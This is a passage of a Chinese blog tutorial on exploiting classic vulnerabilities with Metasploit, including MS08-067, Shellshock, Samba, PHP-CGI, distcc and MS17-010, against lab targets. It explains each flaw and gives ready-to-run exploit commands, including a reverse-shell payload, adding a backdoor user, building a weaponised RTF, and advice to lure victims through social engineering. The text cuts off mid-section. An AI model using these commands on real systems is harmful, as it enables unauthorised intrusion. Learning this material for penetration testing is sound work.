{"id":94937,"date":"2026-08-15T18:49:17","date_gmt":"2026-08-15T10:49:17","guid":{"rendered":"https:\/\/www.wsisp.com\/helps\/94937.html"},"modified":"2026-08-15T18:49:17","modified_gmt":"2026-08-15T10:49:17","slug":"metasploit-%e6%bc%8f%e6%b4%9e%e5%88%a9%e7%94%a8%e5%ae%9e%e6%88%98","status":"publish","type":"post","link":"https:\/\/www.wsisp.com\/helps\/94937.html","title":{"rendered":"Metasploit \u6f0f\u6d1e\u5229\u7528\u5b9e\u6218"},"content":{"rendered":"<h2>Metasploit \u6f0f\u6d1e\u5229\u7528\u5b9e\u6218 \u2014 \u4ece\u5165\u95e8\u5230\u62ff\u4e0b\u4e00\u53f0\u673a\u5668<\/h2>\n<p>Metasploit&#xff08;MSF&#xff09;\u662f\u6e17\u900f\u6d4b\u8bd5\u754c\u7684\u745e\u58eb\u519b\u5200&#xff0c;\u6709\u4eba\u620f\u79f0\u5b83\u80fd\u300c\u9ed1\u6389\u6574\u4e2a\u5b87\u5b99\u300d\u3002\u5b83\u628a\u6f0f\u6d1e\u53d1\u73b0\u3001\u5229\u7528\u3001Payload \u751f\u6210\u3001\u540e\u6e17\u900f\u64cd\u4f5c\u6574\u5408\u5728\u4e00\u4e2a\u7edf\u4e00\u7684\u6846\u67b6\u91cc\u3002\u4eca\u5929\u5e26\u4f60\u4ece\u57fa\u672c\u547d\u4ee4\u5230\u4e5d\u5927\u7ecf\u5178\u6f0f\u6d1e\u5229\u7528&#xff0c;\u628a MSF \u7684\u5b9e\u6218\u80fd\u529b\u62c9\u6ee1\u3002<\/p>\n<hr \/>\n<h3>\u4e00\u3001MSF \u6982\u8ff0<\/h3>\n<p>Metasploit \u5c31\u662f\u4e00\u4e2a\u6f0f\u6d1e\u5229\u7528\u6846\u67b6\u3002\u5168\u79f0 The Metasploit Framework&#xff0c;\u7b80\u79f0 MSF\u3002<\/p>\n<p>MSF \u80fd\u5e72\u4ec0\u4e48&#xff1f;<\/p>\n<ul>\n<li>\u4fe1\u606f\u6536\u96c6&#xff08;\u7aef\u53e3\u626b\u63cf\u3001\u670d\u52a1\u8bc6\u522b&#xff09;<\/li>\n<li>\u6f0f\u6d1e\u63a2\u6d4b&#xff08;\u9a8c\u8bc1\u76ee\u6807\u662f\u5426\u5b58\u5728\u5df2\u77e5\u6f0f\u6d1e&#xff09;<\/li>\n<li>\u6f0f\u6d1e\u5229\u7528&#xff08;\u4e00\u952e Get Shell&#xff09;<\/li>\n<li>\u540e\u6e17\u900f\u64cd\u4f5c&#xff08;\u63d0\u6743\u3001\u6a2a\u5411\u79fb\u52a8\u3001\u6301\u4e45\u5316&#xff09;<\/li>\n<li>Payload \u751f\u6210&#xff08;\u5236\u4f5c\u6728\u9a6c\u3001\u53cd\u5f39 Shell&#xff09;<\/li>\n<\/ul>\n<p>MSF \u672c\u8eab\u9644\u5e26 2000 \u591a\u4e2a\u5df2\u77e5\u8f6f\u4ef6\u6f0f\u6d1e\u7684\u5229\u7528\u6a21\u5757&#xff0c;\u5e76\u4fdd\u6301\u6301\u7eed\u66f4\u65b0\u3002<\/p>\n<hr \/>\n<h3>\u4e8c\u3001MSF \u6838\u5fc3\u547d\u4ee4\u901f\u67e5<\/h3>\n<table>\n<tr>\u547d\u4ee4\u529f\u80fd<\/tr>\n<tbody>\n<tr>\n<td>msfconsole<\/td>\n<td>\u542f\u52a8 MSF \u63a7\u5236\u53f0<\/td>\n<\/tr>\n<tr>\n<td>search \u6f0f\u6d1e\u540d\u79f0<\/td>\n<td>\u641c\u7d22\u6f0f\u6d1e\u6a21\u5757&#xff0c;\u5982 search ms08-067<\/td>\n<\/tr>\n<tr>\n<td>use \u6a21\u5757\u8def\u5f84<\/td>\n<td>\u52a0\u8f7d\u6f0f\u6d1e\u6a21\u5757<\/td>\n<\/tr>\n<tr>\n<td>show options<\/td>\n<td>\u663e\u793a\u5f53\u524d\u6a21\u5757\u9700\u8981\u914d\u7f6e\u7684\u53c2\u6570<\/td>\n<\/tr>\n<tr>\n<td>set RHOST \u76ee\u6807IP<\/td>\n<td>\u8bbe\u7f6e\u76ee\u6807\u4e3b\u673a<\/td>\n<\/tr>\n<tr>\n<td>set LHOST \u672c\u673aIP<\/td>\n<td>\u8bbe\u7f6e\u672c\u673a IP&#xff08;\u53cd\u5f39 Shell \u7528&#xff09;<\/td>\n<\/tr>\n<tr>\n<td>set RPORT \u7aef\u53e3<\/td>\n<td>\u8bbe\u7f6e\u76ee\u6807\u7aef\u53e3<\/td>\n<\/tr>\n<tr>\n<td>set PAYLOAD xxx<\/td>\n<td>\u8bbe\u7f6e\u653b\u51fb\u8f7d\u8377<\/td>\n<\/tr>\n<tr>\n<td>run \/ exploit<\/td>\n<td>\u6267\u884c\u653b\u51fb<\/td>\n<\/tr>\n<tr>\n<td>back<\/td>\n<td>\u8fd4\u56de\u4e0a\u7ea7<\/td>\n<\/tr>\n<tr>\n<td>sessions<\/td>\n<td>\u67e5\u770b\u5df2\u5efa\u7acb\u7684\u4f1a\u8bdd<\/td>\n<\/tr>\n<tr>\n<td>sessions -i 1<\/td>\n<td>\u8fdb\u5165 ID \u4e3a 1 \u7684\u4f1a\u8bdd<\/td>\n<\/tr>\n<tr>\n<td>shell<\/td>\n<td>\u83b7\u5f97\u76ee\u6807\u7cfb\u7edf\u547d\u4ee4\u884c<\/td>\n<\/tr>\n<tr>\n<td>jobs<\/td>\n<td>\u67e5\u770b\u540e\u53f0\u4efb\u52a1<\/td>\n<\/tr>\n<tr>\n<td>info \u6a21\u5757<\/td>\n<td>\u67e5\u770b\u6a21\u5757\u8be6\u7ec6\u4fe1\u606f<\/td>\n<\/tr>\n<tr>\n<td>connect IP \u7aef\u53e3<\/td>\n<td>\u8fde\u63a5\u8fdc\u7a0b\u4e3b\u673a<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<hr \/>\n<h3>\u4e09\u3001\u4e5d\u5927\u7ecf\u5178\u6f0f\u6d1e\u5229\u7528\u5b9e\u6218<\/h3>\n<hr \/>\n<h4>3.1 MS08-067 \u2014 \u7f51\u7edc\u670d\u52a1\u653b\u51fb&#xff08;Windows SMB \u6ea2\u51fa&#xff09;<\/h4>\n<p>\u5f71\u54cd\u7cfb\u7edf&#xff1a;Windows 2000 \/ XP \/ Server 2003&#xff08;\u672a\u6253 2008 \u5e74 10 \u6708\u8865\u4e01 KB958644&#xff09;<\/p>\n<h5>\u6f0f\u6d1e\u539f\u7406<\/h5>\n<p>\u6f0f\u6d1e\u89e6\u53d1\u8def\u5f84&#xff1a;<\/p>\n<ul>\n<li>\u653b\u51fb\u8005\u901a\u8fc7\u76ee\u6807 445 \u7aef\u53e3&#xff08;SMB \u670d\u52a1&#xff09;\u53d1\u9001\u7279\u5236\u7684 RPC \u8bf7\u6c42<\/li>\n<li>\u8c03\u7528 Server \u670d\u52a1\u4e2d\u7684 NetPathCanonicalize \u51fd\u6570<\/li>\n<li>\u8be5\u51fd\u6570\u5728\u5904\u7406\u5305\u542b ..\\\\ \u7684\u76f8\u5bf9\u8def\u5f84\u65f6&#xff0c;\u672a\u6b63\u786e\u9a8c\u8bc1\u8def\u5f84\u5b57\u7b26\u4e32\u8fb9\u754c<\/li>\n<\/ul>\n<p>\u7f13\u51b2\u533a\u6ea2\u51fa\u6838\u5fc3&#xff1a;<\/p>\n<ul>\n<li>\u653b\u51fb\u8005\u6784\u9020\u4ee5 ..\\\\ \u5f00\u5934\u7684\u6076\u610f\u8def\u5f84<\/li>\n<li>\u89e6\u53d1\u6808\u6ea2\u51fa&#xff0c;\u8986\u76d6\u51fd\u6570\u8fd4\u56de\u5730\u5740<\/li>\n<li>\u8df3\u8f6c\u81f3\u653b\u51fb\u8005\u9884\u8bbe\u7684 Shellcode<\/li>\n<\/ul>\n<p>\u5386\u53f2\u5371\u5bb3&#xff1a; \u8be5\u6f0f\u6d1e\u66fe\u88ab Conficker \u8815\u866b\u5927\u89c4\u6a21\u5229\u7528&#xff0c;\u611f\u67d3\u6570\u767e\u4e07\u53f0\u8ba1\u7b97\u673a\u3002<\/p>\n<h5>\u6838\u5fc3\u547d\u4ee4<\/h5>\n<p>msfconsole<br \/>\nsearch MS08-067<br \/>\nuse exploit\/windows\/smb\/ms08_067_netapi<br \/>\nshow options<br \/>\n<span class=\"token builtin class-name\">set<\/span> RHOST <span class=\"token number\">192.168<\/span>.244.7<br \/>\nrun<br \/>\nshell                      <span class=\"token comment\"># \u62ff\u5230\u76ee\u6807\u673a\u5668\u7684\u547d\u4ee4\u884c<\/span><br \/>\nnet user                   <span class=\"token comment\"># \u67e5\u770b\u7528\u6237<\/span><br \/>\nnet user <span class=\"token builtin class-name\">test<\/span> <span class=\"token builtin class-name\">test<\/span> \/add    <span class=\"token comment\"># \u65b0\u589e\u7528\u6237<\/span><\/p>\n<hr \/>\n<h4>3.2 MS10-018 \u2014 \u6d4f\u89c8\u5668\u653b\u51fb&#xff08;IE \u8fdc\u7a0b\u4ee3\u7801\u6267\u884c&#xff09;<\/h4>\n<p>\u5f71\u54cd\u7cfb\u7edf&#xff1a;IE 6 \/ 7 \/ 8<\/p>\n<h5>\u6f0f\u6d1e\u539f\u7406<\/h5>\n<p>\u6838\u5fc3\u6f0f\u6d1e\u6765\u6e90&#xff1a; IE \u4e2d\u7684 Tabular Data Control (TDC) ActiveX \u63a7\u4ef6\u5b58\u5728\u7f3a\u9677\u3002<\/p>\n<p>\u89e6\u53d1\u673a\u5236&#xff1a;<\/p>\n<ul>\n<li>TDC \u63a7\u4ef6\u89e3\u6790\u8d85\u957f URL \u53c2\u6570\u65f6\u672a\u9a8c\u8bc1\u8f93\u5165\u957f\u5ea6<\/li>\n<li>\u5bfc\u81f4\u5806\u6ea2\u51fa&#xff08;Heap Overflow&#xff09;\u6216\u7c7b\u578b\u6df7\u6dc6&#xff08;Type Confusion&#xff09;<\/li>\n<li>\u653b\u51fb\u8005\u901a\u8fc7\u5185\u5b58\u5e03\u5c40\u64cd\u63a7\u8986\u76d6\u865a\u51fd\u6570\u8868&#xff08;vtable&#xff09;<\/li>\n<li>\u52ab\u6301\u63a7\u5236\u6d41\u8df3\u8f6c\u81f3 Shellcode<\/li>\n<\/ul>\n<p>\u653b\u51fb\u94fe&#xff1a;<\/p>\n<p>\u7528\u6237\u70b9\u51fb\u6076\u610f\u94fe\u63a5 \u2192 IE \u52a0\u8f7d\u6076\u610f HTML \u2192 \u89e6\u53d1 TDC \u63a7\u4ef6\u6ea2\u51fa \u2192 Shellcode \u6267\u884c \u2192 \u653b\u51fb\u8005\u62ff\u5230 Shell<\/p>\n<h5>\u6838\u5fc3\u547d\u4ee4<\/h5>\n<p>msfconsole<br \/>\nsearch ms10-018<br \/>\nuse exploit\/windows\/browser\/ms10_018_ie_behaviors<br \/>\n<span class=\"token builtin class-name\">set<\/span> SRVHOST <span class=\"token number\">192.168<\/span>.244.4        <span class=\"token comment\"># Kali \u672c\u673a IP<\/span><br \/>\n<span class=\"token builtin class-name\">set<\/span> PAYLOAD windows\/meterpreter\/bind_tcp<br \/>\n<span class=\"token builtin class-name\">set<\/span> LPORT <span class=\"token number\">4441<\/span><br \/>\nexploit <span class=\"token parameter variable\">-j<\/span>                        <span class=\"token comment\"># \u540e\u53f0\u8fd0\u884c&#xff0c;\u751f\u6210\u6076\u610f URL<\/span><br \/>\n<span class=\"token comment\"># \u5c06\u751f\u6210\u7684 URL \u901a\u8fc7\u793e\u5de5\u8bf1\u5bfc\u76ee\u6807\u8bbf\u95ee<\/span><br \/>\nsessions                          <span class=\"token comment\"># \u67e5\u770b\u4f1a\u8bdd<\/span><br \/>\nsessions <span class=\"token parameter variable\">-i<\/span> <span class=\"token number\">1<\/span>                     <span class=\"token comment\"># \u8fdb\u5165\u4f1a\u8bdd<\/span><br \/>\nshell<\/p>\n<hr \/>\n<h4>3.3 MS10-087 \u2014 \u6587\u4ef6\u578b\u653b\u51fb&#xff08;Word RTF \u6ea2\u51fa&#xff09;<\/h4>\n<p>\u5f71\u54cd\u7cfb\u7edf&#xff1a;Office 2003 SP3 \/ 2007 SP2 \/ 2010&#xff0c;Windows XP SP3 ~ Win7<\/p>\n<h5>\u6f0f\u6d1e\u539f\u7406<\/h5>\n<p>\u6f0f\u6d1e\u6839\u6e90&#xff1a; Word \u7684 RTF \u89e3\u6790\u5f15\u64ce&#xff08;mso.dll&#xff09;\u4e2d\u7684 pfragments \u76f8\u5173\u51fd\u6570\u5b58\u5728\u6808\u7f13\u51b2\u533a\u6ea2\u51fa\u3002<\/p>\n<p>\u89e6\u53d1\u8fc7\u7a0b&#xff1a;<\/p>\n<ul>\n<li>\u653b\u51fb\u8005\u6784\u9020\u5305\u542b\u8d85\u957f\u63a7\u5236\u5b57\u5c5e\u6027\u5b57\u7b26\u4e32\u7684 .rtf \u6587\u4ef6<\/li>\n<li>\u5982 {\\\\rtf1\\\\ansi{\\\\*\\\\pnfragments XXXX&#8230;}}<\/li>\n<li>\u5f53\u53d7\u5bb3\u8005\u6253\u5f00\u8be5\u6587\u4ef6\u65f6&#xff0c;Word \u5c06\u8d85\u957f\u6570\u636e\u590d\u5236\u5230\u56fa\u5b9a\u5927\u5c0f\u6808\u7f13\u51b2\u533a<\/li>\n<li>\u6ea2\u51fa\u8986\u76d6 \u8fd4\u56de\u5730\u5740 \u6216 SEH \u94fe&#xff08;\u7ed3\u6784\u5316\u5f02\u5e38\u5904\u7406\u94fe&#xff09;<\/li>\n<\/ul>\n<p>\u5386\u53f2\u5371\u5bb3&#xff1a; 2010-2011 \u5e74\u5168\u7403\u8d85\u8fc7 50% \u7684\u6302\u9a6c\u7f51\u7ad9\u5229\u7528\u6b64\u6f0f\u6d1e\u4f20\u64ad\u6728\u9a6c\u3002APT \u7ec4\u7ec7\u4e5f\u7528\u5b83\u6295\u9012\u6076\u610f\u6587\u6863\u3002<\/p>\n<h5>\u6838\u5fc3\u547d\u4ee4<\/h5>\n<p>msfconsole<br \/>\nuse exploit\/windows\/fileformat\/ms10_087_rtf_pfragments_bof<br \/>\n<span class=\"token builtin class-name\">set<\/span> payload windows\/exec<br \/>\n<span class=\"token builtin class-name\">set<\/span> CMD calc.exe                 <span class=\"token comment\"># \u5f39\u51fa\u8ba1\u7b97\u5668&#xff08;\u9a8c\u8bc1\u6f0f\u6d1e&#xff09;<\/span><br \/>\n<span class=\"token builtin class-name\">set<\/span> FILENAME ceshi.rtf<br \/>\nrun                              <span class=\"token comment\"># \u751f\u6210\u6076\u610f RTF \u6587\u4ef6<\/span><br \/>\n<span class=\"token comment\"># \u5c06 ceshi.rtf \u901a\u8fc7\u793e\u5de5\u53d1\u9001\u7ed9\u76ee\u6807&#xff0c;\u6253\u5f00\u5373\u4e2d\u62db<\/span><\/p>\n<hr \/>\n<h4>3.4 CVE-2017-7494 \u2014 Samba \u8fdc\u7a0b\u4ee3\u7801\u6267\u884c&#xff08;Linux \u7248\u6c38\u6052\u4e4b\u84dd&#xff09;<\/h4>\n<p>\u5f71\u54cd\u7248\u672c&#xff1a;Samba 3.5.0 ~ 4.6.4 \/ 4.5.10 \/ 4.4.14<\/p>\n<h5>\u6f0f\u6d1e\u539f\u7406<\/h5>\n<p>\u6838\u5fc3\u51fd\u6570\u7f3a\u9677&#xff1a; is_known_pipename \u51fd\u6570\u5728\u5904\u7406\u547d\u540d\u7ba1\u9053\u65f6\u5b58\u5728\u903b\u8f91\u6f0f\u6d1e\u3002<\/p>\n<p>\u89e6\u53d1\u673a\u5236&#xff1a;<\/p>\n<ul>\n<li>\u653b\u51fb\u8005\u901a\u8fc7 SMB \u534f\u8bae\u4e0a\u4f20\u6076\u610f .so \u5171\u4eab\u5e93\u6587\u4ef6\u5230\u53ef\u5199\u5171\u4eab\u76ee\u5f55<\/li>\n<li>\u6784\u9020\u5305\u542b\u7edd\u5bf9\u8def\u5f84\u7684\u547d\u540d\u7ba1\u9053\u540d&#xff08;\u5982 \/home\/attacker\/malicious.so&#xff09;<\/li>\n<li>Samba \u672a\u5c06\u8def\u5f84\u9650\u5236\u5728\u5171\u4eab\u76ee\u5f55\u8303\u56f4\u5185<\/li>\n<li>\u4ee5 root \u6743\u9650\u52a0\u8f7d\u5e76\u6267\u884c\u6076\u610f\u5e93<\/li>\n<\/ul>\n<p>\u4e3a\u4ec0\u4e48\u53eb Linux \u7248\u6c38\u6052\u4e4b\u84dd&#xff1f;<\/p>\n<ul>\n<li>\u90fd\u53ef\u4ee5\u901a\u8fc7 SMB \u534f\u8bae\u8fdc\u7a0b\u89e6\u53d1<\/li>\n<li>\u90fd\u53ef\u4ee5\u76f4\u63a5\u83b7\u5f97\u6700\u9ad8\u6743\u9650<\/li>\n<li>\u90fd\u66fe\u88ab\u8815\u866b\u5316\u5927\u89c4\u6a21\u5229\u7528&#xff08;SambaCry \u6316\u77ff\u8815\u866b&#xff09;<\/li>\n<\/ul>\n<h5>\u6838\u5fc3\u547d\u4ee4<\/h5>\n<p><span class=\"token comment\"># vulhub \u542f\u52a8\u9776\u573a<\/span><br \/>\n<span class=\"token builtin class-name\">cd<\/span> \/home\/enjoy\/vulhub-master\/samba\/CVE-2017-7494<br \/>\n<span class=\"token function\">docker-compose<\/span> up <span class=\"token parameter variable\">-d<\/span><\/p>\n<p><span class=\"token comment\"># Kali \u653b\u51fb<\/span><br \/>\nmsfconsole<br \/>\nuse exploit\/linux\/samba\/is_known_pipename<br \/>\n<span class=\"token builtin class-name\">set<\/span> RHOSTS <span class=\"token number\">192.168<\/span>.244.6<br \/>\nrun<br \/>\n<span class=\"token function\">id<\/span>        <span class=\"token comment\"># \u5df2\u83b7\u5f97 root \u6743\u9650&#xff01;<\/span><\/p>\n<hr \/>\n<h4>3.5 CVE-2014-6271 \u2014 Bash \u7834\u58f3\u6f0f\u6d1e&#xff08;Shellshock&#xff09;<\/h4>\n<p>\u5f71\u54cd\u8303\u56f4&#xff1a;\u6240\u6709\u4f7f\u7528 Bash 1.14 ~ 4.3 \u7684 Linux\/Unix \u7cfb\u7edf\u3002CVSS \u8bc4\u5206&#xff1a;10.0&#xff08;\u6700\u9ad8\u5371&#xff09;\u3002<\/p>\n<h5>\u6f0f\u6d1e\u539f\u7406<\/h5>\n<p>\u6838\u5fc3&#xff1a;\u51fd\u6570\u89e3\u6790\u903b\u8f91\u7f3a\u9677 \u2192 \u4ee3\u7801\u6ce8\u5165<\/p>\n<p>Bash \u5141\u8bb8\u5c06\u51fd\u6570\u901a\u8fc7\u73af\u5883\u53d8\u91cf\u5bfc\u51fa&#xff1a;<\/p>\n<p><span class=\"token function-name function\">func<\/span><span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span> <span class=\"token punctuation\">{<\/span> <span class=\"token builtin class-name\">echo<\/span> <span class=\"token string\">&#034;Hello&#034;<\/span><span class=\"token punctuation\">;<\/span> <span class=\"token punctuation\">}<\/span><br \/>\n<span class=\"token builtin class-name\">export<\/span> <span class=\"token parameter variable\">-f<\/span> func<\/p>\n<p>\u6f0f\u6d1e\u672c\u8d28&#xff1a;Bash \u5728\u89e3\u6790\u4ee5 (){ \u5f00\u5934\u7684\u73af\u5883\u53d8\u91cf\u65f6&#xff0c;\u672a\u4e25\u683c\u6821\u9a8c\u51fd\u6570\u5b9a\u4e49\u7684\u7ec8\u6b62\u8fb9\u754c&#xff0c;\u5bfc\u81f4\u51fd\u6570\u4f53\u540e\u7684\u989d\u5916\u547d\u4ee4\u88ab\u65e0\u6761\u4ef6\u6267\u884c\u3002<\/p>\n<p><span class=\"token function\">env<\/span> <span class=\"token string\">&#039;VAR&#061;() { :; }; echo Vulnerable&#039;<\/span> <span class=\"token function\">bash<\/span> <span class=\"token parameter variable\">-c<\/span> <span class=\"token string\">&#034;true&#034;<\/span><br \/>\n<span class=\"token comment\"># \u8f93\u51fa Vulnerable \u2192 \u7cfb\u7edf\u5b58\u5728\u6f0f\u6d1e&#xff01;<\/span><\/p>\n<p>\u8fdc\u7a0b\u5229\u7528\u8def\u5f84&#xff1a; \u672c\u8eab\u65e0\u6cd5\u76f4\u63a5\u8fdc\u7a0b\u89e6\u53d1&#xff0c;\u9700\u501f\u52a9\u5a92\u4ecb&#xff1a;<\/p>\n<table>\n<tr>\u5a92\u4ecb\u653b\u51fb\u65b9\u5f0f<\/tr>\n<tbody>\n<tr>\n<td>Apache CGI<\/td>\n<td>HTTP \u8bf7\u6c42\u5934\u4e2d\u6ce8\u5165\u6076\u610f\u73af\u5883\u53d8\u91cf<\/td>\n<\/tr>\n<tr>\n<td>OpenSSH ForceCommand<\/td>\n<td>\u901a\u8fc7 SSH_ORIGINAL_COMMAND \u73af\u5883\u53d8\u91cf\u6ce8\u5165<\/td>\n<\/tr>\n<tr>\n<td>DHCP \u5ba2\u6237\u7aef<\/td>\n<td>DHCP \u54cd\u5e94\u4e2d\u643a\u5e26\u6076\u610f\u53c2\u6570<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>\u5386\u53f2\u5371\u5bb3&#xff1a; \u6f0f\u6d1e\u516c\u5f00\u540e 48 \u5c0f\u65f6\u5185\u5373\u51fa\u73b0\u81ea\u52a8\u5316\u653b\u51fb\u5de5\u5177&#xff0c;\u5927\u6279\u8bbe\u5907\u88ab\u611f\u67d3\u7ec4\u5efa\u50f5\u5c38\u7f51\u7edc\u3002<\/p>\n<h5>\u6838\u5fc3\u547d\u4ee4<\/h5>\n<p>msfconsole<br \/>\nuse exploit\/multi\/http\/apache_mod_cgi_bash_env_exec<br \/>\n<span class=\"token builtin class-name\">set<\/span> RHOSTS <span class=\"token number\">192.168<\/span>.244.6<br \/>\n<span class=\"token builtin class-name\">set<\/span> RPORT <span class=\"token number\">8080<\/span><br \/>\n<span class=\"token builtin class-name\">set<\/span> TARGETURI \/victim.cgi<br \/>\nrun<br \/>\nshell<br \/>\n<span class=\"token function\">id<\/span>          <span class=\"token comment\"># \u8f93\u51fa www-data&#xff08;Web \u670d\u52a1\u7528\u6237&#xff09;<\/span><\/p>\n<hr \/>\n<h4>3.6 CVE-2012-1823 \u2014 PHP-CGI \u8fdc\u7a0b\u4ee3\u7801\u6267\u884c<\/h4>\n<p>\u5f71\u54cd\u7248\u672c&#xff1a;PHP 5.0.0 ~ 5.3.11 \/ 5.4.0 ~ 5.4.1<\/p>\n<h5>\u6f0f\u6d1e\u539f\u7406<\/h5>\n<p>\u6838\u5fc3&#xff1a;\u53c2\u6570\u6ce8\u5165 &#043; \u914d\u7f6e\u7be1\u6539<\/p>\n<p>PHP-CGI \u5728\u5904\u7406 HTTP \u8bf7\u6c42\u7684\u67e5\u8be2\u5b57\u7b26\u4e32\u65f6&#xff0c;\u9519\u8bef\u5730\u5c06\u7528\u6237\u8f93\u5165\u89e3\u6790\u4e3a\u547d\u4ee4\u884c\u53c2\u6570\u3002<\/p>\n<p>http:\/\/target\/cgi.php?-s              \u2192 \u663e\u793a\u6e90\u7801&#xff08;\u4fe1\u606f\u6cc4\u9732&#xff09;<br \/>\nhttp:\/\/target\/cgi.php?-d allow_url_include&#061;on -d auto_prepend_file&#061;php:\/\/input<br \/>\n                                      \u2192 \u5f00\u542f\u8fdc\u7a0b\u5305\u542b &#043; \u5f3a\u5236\u52a0\u8f7d POST Body \u4e2d\u7684 PHP \u4ee3\u7801<\/p>\n<p>\u7ed5\u8fc7\u8865\u4e01&#xff1a; \u521d\u59cb\u8865\u4e01\u53ea\u68c0\u6d4b\u9996\u5b57\u7b26\u662f\u5426\u4e3a -&#xff0c;\u653b\u51fb\u8005\u63d2\u5165\u7a7a\u683c %20 \u7ed5\u8fc7&#xff08;CVE-2012-2311&#xff09;\u3002<\/p>\n<p>\u540e\u7eed\u5173\u8054\u6f0f\u6d1e&#xff1a; CVE-2024-4577 \u5229\u7528 Windows \u5b57\u7b26\u7f16\u7801\u7684 Best Fit \u7279\u6027\u518d\u6b21\u7ed5\u8fc7&#xff0c;\u5b9e\u73b0 RCE\u3002<\/p>\n<h5>\u6838\u5fc3\u547d\u4ee4<\/h5>\n<p>msfconsole<br \/>\nuse exploit\/multi\/http\/php_cgi_arg_injection<br \/>\n<span class=\"token builtin class-name\">set<\/span> RHOSTS <span class=\"token number\">192.168<\/span>.244.6<br \/>\n<span class=\"token builtin class-name\">set<\/span> RPORT <span class=\"token number\">8080<\/span><br \/>\nrun<br \/>\nshell<br \/>\n<span class=\"token function\">id<\/span><\/p>\n<hr \/>\n<h4>3.7 CVE-2004-2678 \u2014 Distcc \u540e\u95e8\u6f0f\u6d1e<\/h4>\n<p>Distcc \u662f Google \u5f00\u6e90\u7684\u5206\u5e03\u5f0f\u7f16\u8bd1\u5de5\u5177&#xff0c;\u9ed8\u8ba4\u76d1\u542c 3632 \u7aef\u53e3\u3002<\/p>\n<h5>\u6f0f\u6d1e\u539f\u7406<\/h5>\n<p>\u6838\u5fc3&#xff1a;\u914d\u7f6e\u7f3a\u9677 &#043; \u547d\u4ee4\u6ce8\u5165<\/p>\n<ul>\n<li>Distcc \u670d\u52a1\u9ed8\u8ba4\u4e0d\u9650\u5236\u5ba2\u6237\u7aef IP&#xff0c;\u5141\u8bb8\u4efb\u610f\u4e3b\u673a\u8fde\u63a5<\/li>\n<li>\u4ee5\u9ad8\u6743\u9650&#xff08;root&#xff09;\u8fd0\u884c&#xff0c;\u7f16\u8bd1\u8fc7\u7a0b\u4e2d\u53ef\u6267\u884c\u7cfb\u7edf\u547d\u4ee4<\/li>\n<li>\u653b\u51fb\u8005\u6784\u9020\u5305\u542b Shell \u547d\u4ee4\u7684\u7f16\u8bd1\u8bf7\u6c42&#xff0c;\u5229\u7528 &#8211;job-args \u53c2\u6570\u6ce8\u5165\u4efb\u610f\u547d\u4ee4<\/li>\n<\/ul>\n<h5>\u6838\u5fc3\u547d\u4ee4<\/h5>\n<p>use exploit\/unix\/misc\/distcc_exec<br \/>\n<span class=\"token builtin class-name\">set<\/span> payload cmd\/unix\/reverse_perl<br \/>\n<span class=\"token builtin class-name\">set<\/span> rhost  <span class=\"token number\">192.168<\/span>.244.8<br \/>\n<span class=\"token builtin class-name\">set<\/span> lhost  <span class=\"token number\">192.168<\/span>.244.4<br \/>\nexploit<br \/>\n<span class=\"token function\">id<\/span>       <span class=\"token comment\"># \u9a8c\u8bc1\u6743\u9650<\/span><\/p>\n<hr \/>\n<h4>3.8 MS17-010 \u2014 \u6c38\u6052\u4e4b\u84dd&#xff08;\u53f2\u4e0a\u6700\u5371\u9669\u7684\u6f0f\u6d1e\u4e4b\u4e00&#xff09;<\/h4>\n<p>\u5f71\u54cd\u7cfb\u7edf&#xff1a;WinXP ~ Win10&#xff08;2017 \u5e74 3 \u6708\u524d\u7248\u672c&#xff09;&#xff0c;WinServer 2003 ~ 2012\u3002CVSS&#xff1a;10.0\u3002<\/p>\n<h5>\u6f0f\u6d1e\u539f\u7406<\/h5>\n<p>\u6f0f\u6d1e\u6839\u6e90&#xff1a; SMBv1 \u534f\u8bae\u5904\u7406 FEA_LIST&#xff08;\u6587\u4ef6\u6269\u5c55\u5c5e\u6027\u5217\u8868&#xff09;\u65f6&#xff0c;SrvOs2FeaListSizeToNt \u51fd\u6570\u5b58\u5728\u5806\u7f13\u51b2\u533a\u6ea2\u51fa\u3002<\/p>\n<p>\u89e6\u53d1\u94fe&#xff08;NSA \u6cc4\u9732\u7684 Fuzzbunch \u6846\u67b6\u5206\u6790\u51fa 7 \u4e2a\u5173\u952e\u7f3a\u9677&#xff09;&#xff1a;<\/p>\n<table>\n<tr>#\u7f3a\u9677<\/tr>\n<tbody>\n<tr>\n<td>1<\/td>\n<td>Transaction \u7f13\u51b2\u533a\u672a\u521d\u59cb\u5316<\/td>\n<\/tr>\n<tr>\n<td>2<\/td>\n<td>MaxParameterCount \u9650\u5236\u5931\u6548<\/td>\n<\/tr>\n<tr>\n<td>3<\/td>\n<td>\u54cd\u5e94\u6570\u636e\u957f\u5ea6\u8d8a\u754c<\/td>\n<\/tr>\n<tr>\n<td>4<\/td>\n<td>\u6b21\u7ea7\u8bf7\u6c42\u65f6\u5e8f\u6f0f\u6d1e<\/td>\n<\/tr>\n<tr>\n<td>5<\/td>\n<td>\u5206\u7247\u6570\u636e\u5305\u7c7b\u578b\u6df7\u6dc6<\/td>\n<\/tr>\n<tr>\n<td>6<\/td>\n<td>FEA \u7c7b\u578b\u5206\u914d\u9519\u8bef\u81f4\u6307\u9488\u7be1\u6539<\/td>\n<\/tr>\n<tr>\n<td>7<\/td>\n<td>\u5185\u6838\u6001\u4e0e\u7528\u6237\u6001\u672a\u9694\u79bb<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>\u653b\u51fb\u6d41\u7a0b&#xff1a;<\/p>\n<p>Grooming&#xff08;\u5806\u5185\u5b58\u5e03\u5c40&#xff09; \u2192 \u53d1\u9001\u7578\u5f62 FEA_LIST \u89e6\u53d1\u6ea2\u51fa \u2192<br \/>\n\u8986\u76d6 SRVNET_BUFFER_HDR \u7ed3\u6784 \u2192 \u5199\u5165 Shellcode \u5230\u5185\u6838\u6001 \u2192<br \/>\nAPC \u6ce8\u5165\u6267\u884c \u2192 \u83b7\u53d6\u5185\u6838\u7ea7\u6743\u9650<\/p>\n<p>\u5386\u53f2\u5371\u5bb3&#xff1a;<\/p>\n<ul>\n<li>WannaCry \u52d2\u7d22\u75c5\u6bd2&#xff08;2017 \u5e74&#xff09;&#xff1a;\u5168\u7403\u611f\u67d3\u8d85 20 \u4e07\u53f0\u8bbe\u5907<\/li>\n<li>NotPetya \u653b\u51fb&#xff08;2017 \u5e74&#xff09;&#xff1a;\u7834\u574f\u6027\u6076\u610f\u7a0b\u5e8f<\/li>\n<li>Adylkuzz 